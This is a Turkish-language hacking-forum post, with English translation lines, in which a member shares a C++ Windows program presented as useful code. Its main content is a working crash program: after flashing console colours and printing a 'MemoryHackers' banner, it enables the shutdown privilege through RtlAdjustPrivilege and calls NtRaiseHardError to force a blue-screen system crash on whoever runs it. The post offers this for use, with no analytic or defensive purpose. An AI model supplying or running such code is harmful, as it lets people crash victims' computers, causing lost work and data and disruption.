Who Will You Kiss
Seçkin Üye
Herkese merhaba forumda benim işime yaramış kodları paylaşıcam bu ilk işinize yarar umarım .
Hello everyone, I will share the codes that worked for me on the forum, I hope this will be useful for you first.
Hello everyone, I will share the codes that worked for me on the forum, I hope this will be useful for you first.
C++:
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidResponseOption, PULONG Response);
int main()
{
system("color c");
system("color b");
system("color a");
system("color d");
system("color f");
system("color e");
system("color c");
system("color b");
system("color a");
system("color d");
system("color f");
system("color e");
system("color c");
system("color b");
system("color a");
system("color d");
system("color f");
system("color e");
std::cout << " __ __ _ _ _ \n";
std::cout << "| \/ |___ _ __ ___ _ _ _ _| || |__ _ __| |_____ _ _ ___\n";
std::cout << "| |\/| / -_) ' \/ _ \ '_| || | __ / _` / _| / / -_) '_(_-<\n";
std::cout << "|_| |_\___|_|_|_\___/_| \_, |_||_\__,_\__|_\_\___|_| /__/\n";
std::cout << " |__/ \n";
BOOLEAN bl;
unsigned long response;
RtlAdjustPrivilege(19, true, false, &bl);
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response);
return 0;
}